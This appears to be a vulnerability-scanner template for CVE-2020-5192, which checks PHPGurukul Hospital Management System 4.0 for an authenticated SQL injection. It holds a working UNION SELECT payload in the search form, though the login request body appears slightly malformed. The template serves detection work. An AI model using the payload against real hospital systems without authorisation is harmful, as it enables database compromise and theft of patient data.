id: CVE-2020-5192 info: name: Hospital Management System 4.0 - SQL Injection author: TenBird severity: high description: | PHPGurukul Hospital Management System in PHP v4.0 suffers from multiple SQL injection vulnerabilities: multiple pages and parameters are not validating user input, and allow for the application's database and information to be fully compromised. reference: - https://www.exploit-db.com/exploits/47840 - https://nvd.nist.gov/vuln/detail/CVE-2020-5192 - https://phpgurukul.com/hospital-management-system-in-php/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2020-5192 cwe-id: CWE-89 metadata: verified: "true" tags: cve2020,hms,cms,sqli,authenticated,edb,cve variables: num: "999999999" requests: - raw: - | POST /hospital/hms/doctor/index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}password={{password}}&submit=&submit= - | POST /hospital/hms/doctor/search.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded searchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5({{num}}),1),2),NULL--+PqeG&search= redirects: true max-redirects: 2 cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - '{{md5(num)}}' - type: status status: - 200